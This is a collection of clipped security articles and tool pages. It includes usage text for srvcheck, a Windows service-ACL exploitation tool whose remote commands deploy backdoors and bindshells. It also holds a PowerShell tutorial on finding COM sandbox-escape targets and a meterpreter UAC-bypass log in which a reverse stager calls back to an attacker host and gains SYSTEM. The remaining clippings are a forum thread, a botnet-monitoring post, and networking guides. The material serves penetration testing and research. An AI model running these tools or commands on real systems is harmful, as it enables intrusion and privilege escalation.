for weak service DACLs and enumerates vulnerable services.  
Due to the fact that those permissive dacls allows remote authenticate users
to modify the command that is executed, srvcheck deploys an vbs payload that
will execute a bindshell.  
  
<img src='img/srvcheck.jpg' alt='Weak Windows services scanner' />  
  
At this time, several products are affected for this vulnerability so once you
get a valid domain user, srvcheck allows you to get access into several
systems.  
  
  

Details

  
  
The public version, srvcheck2 was improved. The new payload deployed with
srvcheck3 works tranfering files by ftp, and allows faster network scanning.  
  
Usage Information:  
_Srvcheck 3 - Windows Services ACL permission Scanner  
\(c\) 2006 - 2008 Andres Tarasco - atarasco@gmail.com  
\* PRIVATE BUILD for PENTESTERS - http://www.tarasco.org  
  
Available parameters for SrvCheck3:  
\-----------------------------------  
  
Srvcheck3.exe -l \[options\] List vulnerable services \(locally or remotely\)  
-H Host|\[ip1-ip2\] Specify a remote host/s to connect \(netbiosname/ip\(s\)\)  
-f file Specify a ip/host file to audit \(for example net view >file.txt\)  
Srvcheck3.exe -m service -c command Executes a remote command running as
service  
Srvcheck3.exe -m service \[options\] Executes backdoor or command for that
service  
-r ftphost ftpport backdoorfile Download configuration\)  
\[-o optionalparameter\] Additional parameter to be added to backdoorfile  
You should also use always -u DOMAIN\user and -p password flags unless running
from a domain shell  
  
examples:  
\----------  
Srvcheck3.exe -l \(list local vulnerabilities\)  
Srvcheck3.exe -l -H 192.168.1.1-192.168.1.255 -u domainuser -p domainpass  
Srvcheck3.exe -l -f hosts.txt -u DOMAINuser -p password \(list remote
vulnerabilities\)  
Srvcheck3.exe -m service -H host -c "cmd.exe /c md c:\PWNED"  
Srvcheck3.exe -m vulnservice -H 192.168.1.200 -u domainuser -p domainpass -r
192.168.1.1 21 backdoor.exe \(exe  
cutes backdoor.exe bindshell\)  
  
_  
There is an paper that i published time ago about MS06-011 \(spanish\). You
can download it here  
You can also browse online the source code.  
  
  
Download srvcheck2 \(Windows executable + Source code\) Download srvcheck3
\(Windows executable + Source code\)  

# Finding Interactive User COM Objects using PowerShell

**Created:**| _9/23/2018 8:43:02 AM_  
---|---  
**Updated:**| _9/23/2018 8:43:02 AM_  
**Author:**| _wishi_  
**Tags:**| _powershell_  
  

  

###  Finding Interactive User COM Objects using PowerShell

Easily one of the most interesting blogs on Windows behaviour is Raymond
Chen's The Old New Thing. I noticed he'd recently posted about using
"Interactive User" \(IU\) COM objects to go from an elevated application \(in
the UAC sense\) to the current user for the desktop. What interested me is
that registering arbitrary COM objects as IU can have security consequences,
and of course this blog entry didn't mention anything about that.  
  
The two potential security issues can be summarised as:  
  

  1. An IU COM object can be a sandbox escape if it has non-default security \(for example Project Zero Issue 1079\) as you can start a COM server outside the sandbox and call methods on the object.
  2. An IU COM object can be a cross-session elevation of privilege if it has non-default security \( for example Project Zero Issue 1021\) as you can start a COM server in a different console session and call methods on the object.

I've blogged about this before when I discuss how I exploited a reference
cycle bug in _NtCreateLowBoxToken_ \(see Project Zero Issue 483\) and
discussed how to use my OleView.NET tool find classes to check. Why do I need
another blog post about it? I recently uploaded version 1.5 of my OleView.NET
tool which comes with a fairly comprehensive PowerShell module and this seemed
like a good opportunity on doing a quick tutorial on using the module to find
targets for analysis to see if you can find a new sandbox escape or cross
session exploit.

  

Note I'm not discussing how you go about reverse engineering the COM
implementation for anything we find. I also won't be dropping any unknown
bugs, but just giving you the information needed to find interesting COM
servers.

  

###  Getting Started with PowerShell Module

  

First things first, you'll need to grab the release of v1.5 from the THIS LINK
\(edit: you can now also get the module from the PowerShell Gallery\). Unpack
it to a directory on your system then open PowerShell and navigate to the
unpacked directory. Make sure you've allowed arbitrary scripts to run in PS,
then run the following command to load the module.

  

PS C:\> Import-Module .\OleViewDotNet.psd1

  

As long as you see no errors the PS module will now be loaded. Next we need to
capture a database of all COM registration information on the current machine.
Normally when you open the GUI of OleView.NET the database will be loaded
automatically, but not in the module. Instead you'll need load it manually
using the following command:

  

PS C:\> Get-ComDatabase -SetCurrent

  

The _Get-ComDatabase_ cmdlet parses the system configuration for all COM
information my tool knowns about. This can take some time \(maybe up to a
minute, more if you have Process Monitor running\), so it'll show a progress
dialog. By specifying the _-SetCurrent_ parameter we will store the database
as the current global database, for the current session. Many of the commands
in the module take a _-Database_ parameter where you can specify the database
you want to extract information from. Ensuring you pass the correct value gets
tedious after a while so by setting the current database you never need to
specify the database explicitly \(unless you want to use a different one\).

  

Now it's going to suck if every time you want to look at some COM information
you need to run the lengthy _Get-ComDatabase_ command. Trust me, I've stared
at the progress bar too long. That's why I implemented a simple save and
reload feature. Running the following command will write the current database
out to the file _com.db:_

_  
_

PS C:\> Set-ComDatabase .\com.db

  

You can then reload using the following command:

  

PS C:\> Get-ComDatabase .\com.db -SetCurrent

  

You'll find this is significantly faster. Worth noting, if you open a 64 bit
PS command line you'll capture a database of the 64 bit view of COM, where as
in 32 bit PS you'll get a 32 bit view.

  

###  Finding Interactive User COM Servers

  

With the database loaded we can now query the database for COM registration
information. You can get a handle to the underlying database object as the
variable _$comdb_ using the following command:

  

PS C:\> $comdb = Get-CurrentComDatabase

  

However, I wouldn't recommend using the COM database directly as it's not
really designed for ease of use. Instead I provide various cmdlets to extract
information from the database which I've summarised in the following table:

  

  

Command |  Description  
---|---  
Get-ComClass |  Get list of registered COM classes  
Get-ComInterface |  Get list of registered COM interfaces  
Get-ComAppId |  Get list of registered COM AppIDs  
Get-ComCategory |  Get list of registered COM categories  
Get-ComRuntimeClass |  Get list of Windows Runtime classes  
Get-ComRuntimeServer |  Get list of Windows Runtime servers  
  

Each command defaults to returning all registered objects from the database.
They also take a range of parameters to filter the output to a collection or a
single entry. I'd recommend passing the name of the command to _Get-Help_ to
see descriptions of the parameters and examples of use.

  

Why didn't I expose it as a relational database, say using SQL? The database
is really an object collection and one thing PS is good at is interacting with
objects. You can use the _Where-Object_ command to filter objects, or _Select-
Object_ to extract certain properties and so on. Therefore it's probably a lot
more work to build on a native query syntax that just let you write PS scripts
to filter, sort and group. To make life easier I have spent some time trying
to link objects together, so for example each COM class object has an
_AppIdEntry_ property which links to the object for the AppID \(if
registered\). In turn the AppID entry has a  _ClassEntries_ property which
will then tell you all classes registered with that AppID.

  

Okay, let's get a list of classes that are registered with _RunAs_ set to
_"Interactive User"_. The class object returned from _Get-ComClass_ has a
_RunAs_ property which is set to the name of the user account that the COM
server runs as. You also need to only look for COM servers which run out of
process, we can do this by filtering for only _LocalServer32_ classes.

  

Run the following command to do the filtering:

  

PS C:\> $runas = Get-GetComClass -ServerType LocalServer32 | ? RunAs -eq "Interactive User"
  

You should now find the _$runas_ variable contains a list of classes which
will run as IU. If you don't believe me you can double check by just selecting
out the RunAs property \(the default table view won't show it\) using the
following:

  

PS C:\> $runas | Select Name, RunAs
  

Name RunAs

\---- -----

BrowserBroker Class Interactive User

User Notification Interactive User

...

  

On my machine I have around 200 classes installed that will run as IU. But
that's not the end of the story, only a subset of these classes will actually
be accessible from a sandbox such as Edge or cross-session. We need a way of
filtering them down further. To filter we'll need to look at the associated
security of the class registration, specifically the Launch and Access
permissions. In order to launch the new object and get an instance of the
class we'll need to be granted Launch Permission, then in order to access the
object we get back we'll need to be granted Access Permissions. The class
object exposes this as the LaunchPermission and AccessPermission properties
respectively. However, these just contain a Security Descriptor Definition
Language \(SDDL\) string representation of the security descriptor, which
isn't easy to understand at the best of times. Fortunately I've made it
easier, you can use the _Select-ComAccess_ cmdlet to filter on classes which
can be accessed from certain scenarios.

  

Let's first look at what objects we could access from the Edge content
sandbox. First we need the access token of a sandboxed Edge process. The
easiest way to get that is just to start Edge and open the token from one of
the _MicrosoftEdgeCP_ processes. Start Edge, then run the following to dump a
list of the content processes.

  

PS C:\> Get-Process MicrosoftEdgeCP | Select Id, ProcessName
  

Id ProcessName

\-- -----------

8872 MicrosoftEdgeCP

9156 MicrosoftEdgeCP

10040 MicrosoftEdgeCP

14856 MicrosoftEdgeCP

  

Just pick one of the PIDs, for this purpose it doesn't matter too much as all
Edge CP's are more or less equivalent. Then pass the PID to the _-ProcessId_
parameter for _Select-ComAccess_ and pipe in the _$runas_ variable we got from
before.

  

PS C:\> $runas | Select-ComAccess -ProcessId 8872 | Select Name
  

Name

\----

PerAppRuntimeBroker

...

  

On my system, that reduces the count of classes from 200 to 9 classes, which
is a pretty significant reduction. If I rerun this command with a normal UWP
sandboxed process \(such as the calculator\) that rises to 45 classes. Still
fewer than 200 but a significantly larger attack surface. The reason for the
reduction is Edge content processes use Low Privilege AppContainer \(LPAC\)
which heavily cuts down inadvertent attack surface.

  

What about cross-session? The distinction here is you'll be running as one
unsandboxed user account and would like to attack the another user account.
This is quite important for the security of COM objects, the default access
security descriptor uses the special SELF SID which is replaced by the user
account of the process hosting the COM server. Of course if the server is
running as a different user in a different session the defaults won't grant
access. You can see the default security descriptor using the following
command:

  

Show-ComSecurityDescriptor -Default -ShowAccess

  

This command results in a GUI being displayed with the default access security
descriptor. You see in this screenshot that the first entry grants access to
the SELF SID.

  

<img src='img/selfsid.PNG.png' width='400' height='295' alt='Default COM
access security showing NT AUTHORITY\SELF' />

  

To test for accessible COM classes we just need to tell the access checking
code to replace the SELF SID with another SID we're not granted access to. You
can do this by passing a SID to the _-Principal_ parameter. The SID can be
anything as long as it's not our user account or one of the groups we have in
our access token. Try running the following command:

  

PS C:\> $runas | Select-ComAccess -Principal S-1-2-3-4 | Select Name
  

Name

\----

BrowserBroker Class

...

  

On my system that leaves around 54 classes, still a reduction from 200 but
better than nothing and still gives plenty of attack surface.

  

###  Inspecting COM Objects

  

I've only shown you how to find potential targets to look at for sandbox
escape or cross-session attacks. But the class still needs some sort of way of
elevating privileges, such as a method on an interface which would execute an
arbitrary executable or similar. Let's quickly look at some of the functions
in the PS module which can help you to find this functionality. We'll use the
example of the _HxHelpPane_ class I abused previously \(and is now fixed as a
cross-session attack in Project Zero Issue 1224, probably\).

  

The first thing is just to get a reference to the class object for the
_HxHelpPane_ server class. We can get the class using the following command:

  

PS C:\> $cls = Get-ComClass -Name "AP Client HxHelpPaneServer Class"

  

The _$cls_ variable should now be a reference to the class object. First thing
to do is find out what interfaces the class supports. In order to access a COM
object OOP you need a registered COM proxy. We can use the list of registered
proxy interfaces to find what the object responds to. Again I have command to
do just that, _Get-ComClassInterface_. Run the following command to get back a
list of interface objects:

  

PS C:\> Get-ComClassInterface $cls | Select Name, Iid
  

Name Iid

\---- ---

IMarshal 00000003-0000-0000-c000-000000000046

IUnknown 00000000-0000-0000-c000-000000000046

IMultiQI 00000020-0000-0000-c000-000000000046

IClientSecurity 0000013d-0000-0000-c000-000000000046

IHxHelpPaneServer 8cec592c-07a1-11d9-b15e-000d56bfe6ee

  

Sometimes there's interesting interfaces on the factory object as well, you
can get the list of interfaces for that by specifying the _-Factory_ parameter
to _Get-ComClassInterface_. Of the interfaces shown only _IHxHelpServer_ is
unique to this class, the rest are standard COM interfaces. That's not to say
they won't have interesting behavior but it wouldn't be the first place I'd
look for interesting methods.

  

The implementation of these interfaces are likely to be in the COM server
binary, where is that? We can just inspect the DefaultServer property on the
class object.

  

PS C:\> $cls.DefaultServer

C:\Windows\helppane.exe

  

We can now just break out IDA and go to town? Not so fast, it'd be useful to
know exactly what we're dealing with before then. At this point I'd recommend
at least using my tools NDR parsing code to extract how the interface is
structured. You can do this by pass an interface object from G _et-
ComClassInterface_ or just normal _Get-ComInterface_ into the _Get-ComProxy_
command. Unfortunately if you do this you'll find a problem:

  

PS C:\> Get-ComInterface -Name IHxHelpPaneServer | Get-ComProxy
Exception: "Error while parsing NDR structures"

At OleViewDotNet.psm1:1587 char:17

\+ \[OleViewDotNet.COMProxyInterfaceInstance\]::GetFromIID\($In

\+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

\+ CategoryInfo : NotSpecified: \(:\) \[\]

\+ FullyQualifiedErrorId : NdrParserException

  

This could be bug in my code, but there's a more likely reason. The proxy
could be an auto-created proxy from a type library. We can check that using
the following:

  

PS C:\> Get-ComInterface -Name IHxHelpPaneServer

  

Name IID HasProxy HasTypeLib

\---- --- -------- ----------

IHxHelpPaneServer 8cec592c-07a1... True True

  

We can see if the output that the interface has a registered type library, for
an interface this likely means its proxy is auto-generated. Where's the type
library? Again we can use another database command, _Get-ComTypeLib_ and pass
it the IID of the interface:

  

PS C:\> Get-ComTypeLib -Iid 8cec592c-07a1-11d9-b15e-000d56bfe6ee

  

TypelibId : 8cec5860-07a1-11d9-b15e-000d56bfe6ee

Version : 1.0

Name : AP Client 1.0 Type Library

Win32Path : C:\Windows\HelpPane.exe

Win64Path : C:\Windows\HelpPane.exe

Locale : 0

NativePath : C:\Windows\HelpPane.exe

  

Now you can use your favourite tool to decompile the type library to get back
your interface information. You can also use the following command if you
capture the type library information to the variable _$tlb:_

_  
_

PS C:\> Get-ComTypeLibAssembly $tlb | Format-ComTypeLib
...

\[Guid\("8cec592c-07a1-11d9-b15e-000d56bfe6ee"\)\]

interface IHxHelpPaneServer

\{

/\* Methods \*/

void DisplayTask\(string bstrUrl\);

void DisplayContents\(string bstrUrl\);

void DisplaySearchResults\(string bstrSearchQuery\);

void Execute\(string pcUrl\);

\}

  

You now know the likely names of functions which should aid you in looking
them up in IDA or similar. That's the end of this quick tutorial, there's
plenty more to discover in the PS module you'll just have to poke around at it
and see. Happy hunting.

  

  

Posted by  tiraniddo at 15:16

  

  *[15:16]: 2018-09-09T15:16:00-07:00

# tz41 kommentiert Application Sandboxes: A pen-tester’s perspective \[PDF\]

**Created:**| _8/9/2013 10:24:50 AM_  
---|---  
**Updated:**| _8/9/2013 10:24:50 AM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

# netsec****

abonnierenabbestellen78**.** 436

A community for technical news and discussion of information security and
closely related topics**.**

# Content Guidelines****

# Discussion Guidelines****

# Featured Posts****

PPP AMA \[08/09/13 - 16:00 EST\] \[**?** \]

Q3 2013 InfoSec Hiring Thread

Q3 2013 Academic Program Thread

# Related Reddits****

# Social****

**Join us on IRC:** \#r\_netsec on freenode

**We're also on:** Twitter , Facebook , & Google \+

####  Plaid Parliament of Pwning AMA 08/09/13 - 16:00 EST****

Submit Content  Start Discussion  Ask A Question

sortiert nach:

beste

Thread eines einzelnen Kommentars

Übrige Kommentare laden  →

\[–\]tz41  0 Punkte 1 Tag zuvor

It's exactly that "give it to me and I'll break it" attitude that makes me
concerned about giving you a demo product**.** You see, early on, we engaged
with another highly respected security company that thought they "broke" our
security model, and it took a lot of time to sit down with them and show them
that the thing they thought they broke was "breakable" by design as part of
our introspection \(LAVA\) capability, and in fact posed no danger to
privileged resources like the file system, the desktop, and the intranet -
because their attack was contained within the micro-VM, and the micro-VM did a
very good job of pretending it was the underlying machine in order to record
the activities of the attackers for SOC analysis, too good, apparently, for
those guys**.**

So let's say you kick off your testing and you find something, then you reach
out to us and say, "hey, I found this thing" or even worse, you don't reach
out to us and you tweet, "hey, I broke Bromium" \- then think of the resources
we'd have to dedicate to dealing with it**.** You obviously wouldn't accept
something like, "oh, that's by design" as an answer, you'd want us to give you
a deep dive on why that's by design - all of these things would siphon
resources away from development**.** Resources that are needed to architect,
build, QA, and support products for paying customers**.**

What would be interesting is if you developed a test criteria and published
it, and then we could engage our customers/prospects to use that criteria
\(and possibly your services\) in validating our security model**.**

\[–\]taviso Trusted Contributor 11 Punkte 1 Tag zuvor

Tal, from your previous description it sounds like this "highly respected
security company" just ran metasploit**.** I've published numerous papers on
virtualisation security, and vulnerabilities in virtual machines, including
sandbox escapes for most of the sandboxes you mention**.** If you're not
familiar with who pipacs is, then accusing him of not being able to grok your
security model is so ridiculous it hurts**.**

Frankly, if you believe your customers need your help to determine if a live
exploit is working as intended or not, then it sounds like your product is
either broken by design or your sales people are making so many ridiculous
promises that your customers don't know what they're paying for**.**

The more customers you get, the more widely your software is distributed and
the likelihood of me being able to get a copy approaches one and your
obscurity fades away**.** If you don't think your software can withstand close
inspection by someone who actually knows what they're doing, then I suspect
your company is going to be quite short lived**.**

\[–\]tz41  -2 Punkte 1 Tag zuvor

The fact is: Without exception, for every POC we do, we have to spend a
significant amount of time educating seasoned security teams on how we're
different, how to test us, and what to expect**.** I don't think any less of
those security teams or of our product because of that**.** It's just that
people aren't used to thinking of a "protect first" model given decades of
"detect first" mindshare dominance**.** Even those who are familiar with
sandboxes don't know what to look for in the context of our ability to micro-
virtualize browsing tasks from each other \(CSS/MITB/etc\), or protect systems
from infected captive portals**.**

I'm not accusing you or pipacs or anyone of not knowing what they're
doing**.** I'm saying our cycles for supporting such tests come at the cost of
developing our product and therefor not tenable**.** I would frankly be happy
if one of our customers or prospects hired pipacs to validate our
solution**.**

In your closing paragraph you make two statements:

  1. If our software becomes widely distributed you'll be able to get your hands on our software - I agree, and hope that happens**.**
  2. I don't think our software can withstand close inspection by someone who knows what they're doing - You're putting yourself on a pedestal here and assuming none of our customers know what they're doing which I think is a bit of grandstanding**.**

\[–\]taviso Trusted Contributor 14 Punkte 1 Tag zuvor

It's hard to believe your customers do know what they're doing if they're
purchasing your software without having seen a demo copy to evaluate**.** If
you are willing to give them a copy of your software to evaluate, but not me,
then it seems like my grandstanding is justified**.**

Which is it**?**

\[–\]marqo09  4 Punkte 1 Tag zuvor

This thread is so good it hurts**.** I wonder how closely vSentry is based on
Xen and how many of those precious development cycles they spent patching
XSAs..**.**

****

# extraexploit: some considerations on Ettercap source code repository breach

**Created:**| _1/5/2011 1:10:05 PM_  
---|---  
**Updated:**| _1/5/2011 1:10:41 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

### some considerations on Ettercap source code repository breach

Recently it’s been released a new issue of a zine called “owned and exposed”
\(http://www.exploit-db.com/papers/15823/\). I have to admit I laughed a lot
when I saw this picture.

<img src='img/Temp2_10251.png' width='509' height='365' alt='ownedandexposed'
/>  
---  
I think that the picture above is the truth of what the security field is
today. Anyway , ending my personal considerations, I would show you a mind map
that I made during a past research on web bot based botnet and that could be
useful to understand how is possible find and use entry point in some very
important web sites. As starting point I decided to focusing all the big
picture on a generic bot source code. Given a bot is possible, Googling enough
and with some scripting language knowledge, make the rest.

<img src='img/Temp2_10252.png' width='858' height='381' alt='mindmap' />

This mind map is not so obvious as well is not so clear what are the links
with the title of this post. I will try to describe what I intend with this
process represented by this mindmap . During a research of some months ago, I
have try to identify 3 contexts where a researcher \(color independent\) could
be found useful information for raise the level of details. In other words,
starting from a bot source code analysis , you are on the first context \(1
code analysis\). In this context the analysis has generated information like
authors \(not so useful in this case\), code snippet \(useful for googling for
other bot derived from the analyzed bot for example\), crew \(again not so
useful\), and c&c server \(VERY USEFUL\).

So with code snippet and c&c server is possible try to find many more
information. Specifically with a c&c server that command web based bot,
sometimes, is possible looking what happens in the c&c channel and coding and
running, for example, a fake bot for catching them. The fake bot is linked to
the c&c channel \(usually an irc server\) and start to log everything. The
analysis process of what was logged put your mind in the 2nd context \(named
“intelligence”\) . What could be founded is shown in the leafs of 2nd context.
From the information gathered from a c&c is possible to known, for example,
what are the web sites exposed to a particular Remote File Include. Collecting
many of these web site your mind is leaded in the 3rd context.

Usually you have to decide only what do you want to do with the exposed
website list obtained from the 2nd context and thanks to someone \(bot admin\)
which launch , for example, bots specialized for scanning for checking if a
web site is prone to a specific issue. What is the link with Ettercap \(and
other cases reported by the zine “owned and exposed” ? If you are the main
coder of a project and you decide to put this code in a source repository that
expose to the users, exploitable web apps \(like for example some old release
of e107 csm prone to a remote code execution condition\) is possible choose
once \(or more\) of the leafs of the 3rd context. In other words, logging the
tons of c&c channels is possible found many other famous web site exposed to
this problems.

The following little screenshot make all more clear \(I hope\). What you see
is the result of a fake bot that I coded months ago. In particular, the result
of this fake bot is a log file where are logged all message in a c&c channel.
The grep command it was launched on this log file. How can see on sourceforge
some users accounts offer access to a vulnerable version of the popular CMS
e107 \(http://php-security.org/2010/05/19/mops-2010-035-e107-bbcode-remote-
php-code-execution-vulnerability/index.html\).

<img src='img/Temp2_10253.png' width='856' height='124' alt='sourceforge' />  
---  
One note: I decided to put the owning activities in the “counter measures”
leaf beacuse "good and evil" is just a matter of who does things.

For the moment it’s all. Maybe that I will pubblish some more explanation for
this process as soon as possible. Feedback and question are welcome.

Counter measures: don’t expose users with bugged web apps\!.

# Mdmp - Collaborative RCE Tool Library

**Created:**| _11/6/2010 5:51:35 PM_  
---|---  
**Updated:**| _11/6/2010 5:51:35 PM_  
**Author:**| __  
**Tags:**| _research report Memory forensics windows environment_  
  

# mdmp

Tool name:| mdmp| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Vlad-Ioan Topan                          
Website:| http://code.google.com/p/mdmp/  
Current version:| 0.2.2  
Last updated:| October 28, 2010  
Direct D/L link:|
http://code.google.com/p/mdmp/downloads/detail?name=mdmp-0.2.4-beta-
binaries.zip  
License type:| GPL  
Description:| mdmp - open-source x86 memory/process \(command-line\) dumper
with Python bindings  
  
libmdmp is a C library designed to dump process memory on Windows.  
  
mdmp.exe is a command-line tool exposing most functionality in libmdmp
\(process/stack/heap/random-mem-address dumping\).  
  
pymdmp.pyd is a Python wrapper \(only built for 2.7 as of now, trivial to
adapt to any 2.x\) exposing the memory-dumping functionality in Python.  
  
Example usage:  
  
mdmp:  
mdmp.exe /n:explo /e:kernel  
\- will dump all modules \(DLLs\) whose name contains "kernel" from all the
processes whose name contains "explo"  
  
pymdmp:  
import pymdmp  
lst = pymdmp.dump\(pymdmp.SEL\_BY\_NAME, pymdmp.DUMP\_IMAGE\_BY\_NAME, 0,
processName="explo", moduleName="kernel"\)  
\- will return in lst a list of tuples \(<process\_name>, <PID>, <dump-start-
address>, <dump-data>\)  
  
Delphi bindings are planned. Feedback is welcome @ vtopan/gmail.  
  
Requires the VC 2005 runtime.  
Related URLs:| | Usage information - mdmp.exe:  
http://code.google.com/p/mdmp/wiki/mdmpexe  
  
---  
Usage information - pymdmp.pyd:  
http://code.google.com/p/mdmp/wiki/pymdmp  
---

# SecManiac.com - The home of David Kennedy \(ReL1K\)

**Created:**| _1/5/2011 1:14:07 PM_  
---|---  
**Updated:**| _1/5/2011 1:14:22 PM_  
**Author:**| __  
**Tags:**| _post-exploitation Metasploit_  
  

  

#### January 1st, 2011

## Bypass Windows 7 x86/x64 UAC Fully Patched – Meterpreter Module

Happy New Year everyone\! Here is a nice new addition to bypass UAC through
meterpreter. It all came about when Kevin Mitnick was on a pentest and needed
to bypass Windows 7 UAC. We stumbled upon an old post from Leo Davidson
\(http://www.pretentiousname.com/misc/win7\_uac\_whitelist2.html\) on
bypassing Windows UAC. This method takes advantage of process injection that
has a trusted Windows Publisher Certificate \(example explorer.exe which runs
at medium integrity\). This is fully functioning on both x86/64 bit platforms.
Source code is in the zip along with the meterpreter plugin. You can download
it here.

\[\*\] Sending stage \(749056 bytes\) to 172.16.32.130  
\[\*\] Meterpreter session 1 opened \(172.16.32.128:443 ->
172.16.32.130:1544\) at Fri Dec 31 20:43:24 -0500 2010  
msf exploit\(handler\) > sessions -i 1

\[\*\] Starting interaction with 1…  
meterpreter > getsystem  
\[-\] priv\_elevate\_getsystem: Operation failed: Access is denied.  
meterpreter > run bypassuac  
\[\*\] Creating a reverse meterpreter stager: LHOST=172.16.32.128 LPORT=4546  
\[\*\] Running payload handler  
\[\*\] Uploading Windows UACBypass to victim machine.  
\[\*\] Bypassing UAC Restrictions on the system….  
\[\*\] Meterpreter stager executable 73802 bytes long  
\[\*\] Uploaded the agent to the filesystem….  
\[\*\] Executing the agent with endpoint 172.16.32.128:4546 with UACBypass in
effect…

meterpreter > \[\*\] Meterpreter session 2 opened \(172.16.32.128:4546 ->
172.16.32.130:1547\) at Fri Dec 31 20:43:40 -0500 2010

meterpreter >  
Background session 1? \[y/N\]  
msf exploit\(handler\) > sessions -i 2  
\[\*\] Starting interaction with 2…

meterpreter > getsystem  
…got system \(via technique 1\).  
meterpreter > shell  
Process 416 created.  
Channel 1 created.  
Microsoft Windows \[Version 6.1.7600\]  
Copyright \(c\) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami  
whoami  
nt authority\system  
C:\Windows\system32>

# openvswitch and KVM

**Created:**| _9/27/2013 10:03:51 AM_  
---|---  
**Updated:**| _9/27/2013 10:07:02 AM_  
**Author:**| __  
**Tags:**| _virtusalisation network-security SDN_  
  

[code]

                     How to Use Open vSwitch with KVM
                     =================================
    
    This document describes how to use Open vSwitch with the Kernel-based
    Virtual Machine (KVM)**.** This document assumes that you have read and
    followed INSTALL to get Open vSwitch setup on your Linux system**.**
    
    Setup
    -----
    
    First, follow the setup instructions in INSTALL to get a working
    Open vSwitch installation**.**
    
    KVM uses tunctl to handle various bridging modes, which you can 
    install with the Debian/Ubuntu package uml-utilities**.**
    
          % apt-get install uml-utilities
    
    Next, you will need to modify or create custom versions of the qemu-ifup
    and qemu-ifdown scripts**.** In this guide, we'll create custom versions
    that make use of example open vSwitch bridges that we'll describe in this
    guide**.**
    
    Create the following two files and store them in known locations**.**
    
    For example /etc/ovs-ifup and /etc/ovs-ifdown
    
    /etc/ovs-ifup
    --------------------------------------------------------------------
    #**!** /bin/sh
    
    switch='br0'
    /sbin/ifconfig $1 0**.** 0.0.0 up
    ovs-vsctl add-port ${switch} $1
    --------------------------------------------------------------------
    
    /etc/ovs-ifdown
    --------------------------------------------------------------------
    #**!** /bin/sh
    
    switch='br0'
    /sbin/ifconfig $1 0.0.0**.** 0 down
    ovs-vsctl del-port ${switch} $1
    --------------------------------------------------------------------
    
    At the end of INSTALL, it describes basic usage of creating
    bridges and ports**.** If you haven't already, create a bridge named
    br0 with the following command:
    
          % ovs-vsctl add-br br0
    
    Then, add a port to the bridge for the NIC that you want your guests
    to communicate over (e**.** g. eth0):
    
          % ovs-vsctl add-port br0 eth0
    
    Please refer to ovs-vsctl(8) for more details**.**
    
    Next, we'll start a guest that will use our ifup and ifdown scripts**.**
    
          % kvm -m 512 -net nic,macaddr=00:11:22:EE:EE:EE -net \
    tap,script=/etc/ovs-ifup,downscript=/etc/ovs-ifdown -drive \
    file=/path/to/disk-image,boot=on
    
    This will start the guest and associate a tap device with it**.** The 
    ovs-ifup script will add a port on the br0 bridge so that the
    guest will be able to communicate over that bridge**.**
    
    To get some more information and for debugging you can use Open
    vSwitch utilities such as ovs-dpctl and ovs-ofctl, For example:
    
          % ovs-dpctl show
          % ovs-ofctl show br0
    
    You should see tap devices for each KVM guest added as ports to 
    the bridge (e**.** g. tap0)
    
    Please refer to ovs-dpctl(8) and ovs-ofctl(8) for more details**.**
    
    Bug Reporting
    -------------
    
    Please report problems to bugs@openvswitch.org**.**
    
[/code]

****

# X86/WIN32 REVERSE ENGINEERING CHEAT­SHEET

**Created:**| _11/25/2009 10:26:14 AM_  
---|---  
**Updated:**| _11/25/2009 10:26:30 AM_  
**Author:**| __  
**Tags:**| _cheat sheets_  
  
<img src='img/Temp2_9951' />

# Features — execnet v1.0.9 documentation

**Created:**| _1/19/2011 12:11:17 PM_  
---|---  
**Updated:**| _1/19/2011 12:11:38 PM_  
**Author:**| __  
**Tags:**| _bookmark python programming projects_  
  

Python is a mature dynamic language whose interpreters can interact with all
major computing platforms today.

**execnet** provides a share-nothing model with channel-send/receive
communication for distributing execution across many Python interpreters
across version, platform and network barriers. It has a minimal and fast API
targetting the following uses:

  * distribute tasks to \(many\) local or remote CPUs
  * write and deploy hybrid multi-process applications
  * write scripts to administer multiple environments

  

# Execution Synthesis: A Technique for Automated Software Debugging

**Created:**| _6/20/2010 10:28:21 PM_  
---|---  
**Updated:**| _6/20/2010 10:28:43 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification Debugging papers automation_  
  
<img src='img/Temp2_2819' />

# Episode75 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:34:25 PM_  
---|---  
**Updated:**| _8/5/2009 12:34:35 PM_  
**Author:**| __  
**Tags:**| _wifi pauldotcom_  
  

# Wireless Guest Network: Part I

Equipment Used:

  * 2 WRT54GLs
  * 2 LINKSYS POE Adapter WAPPOE12 12V
  * OpenWrt "Whiterussian" 0.9

The nice part is, all this can be done for under $300, and its all open-
source\! This is a great, cheap, fast, and easy way to handle guests that may
be coming into your network. Below are the step-by-step guidelines for getting
the initial setup going:

  * **Step 1** \- Unbox and flash the routers. For the WRT54GL, you must use the web interface to put the initial OpenWrt image on them. \(Question, why does Linksys not enable boot\_wait by default?\). Also, do not use the PoE adapters when flashing\!

  * **Step 2** \- Change the IP address of the routers, enable boot\_wait, and set the hostname:

[code]

    **nvram set lan_ipaddr="10.10.10.5"
    nvram set boot_wait="on"
    nvram set wan_hostname="myap1"
    nvram set wan_proto="none"
    nvram commit**
[/code]

\[Larry\] Added the nvram commit.

  * **Step 3** \- Create a separate VLAN or physical network, preferably with a separate Internet connection. Put that APs on that subnet.

  * **Step 4** \- Harden and perfomance tune OpenWrt - Remove the packages that are not required:

[code]

    **ipkg update
    ipkg remove ppp ppp-mod-ppoe webif haserl kmod-ppp kmod-pppoe
    ipkg upgrade**
[/code]

Disable services not required:

[code]

    **cd /etc/init.d
    mv S50httpd disabled_S50httpd
    mv S50telnet disabled_S50telnet**
[/code]

  * **Step 5** \- Enable DHCP on each of the access points:

[code]

    **cat > /etc/init.d/S60dnsmasq
    #! /bin/ash
    
    /usr/sbin/dnsmasq &<CRTL-D>
    
    
    **
[/code]

Now, remove the DHCP configuration from the /etc/dnsmasq.conf, and replace it
with:

[code]

    **# enable dhcp (start,end,netmask,leasetime)
    dhcp-authoritative                         
    dhcp-range=10.10.10.100,10.10.10.150,255.255.255.0,12h
    dhcp-leasefile=/tmp/dhcp.leases                           
                                                              
    # use /etc/ethers for static hosts; same format as --dhcp-host
    # <hwaddr> <ipaddr>                                           
    read-ethers                                                   
    
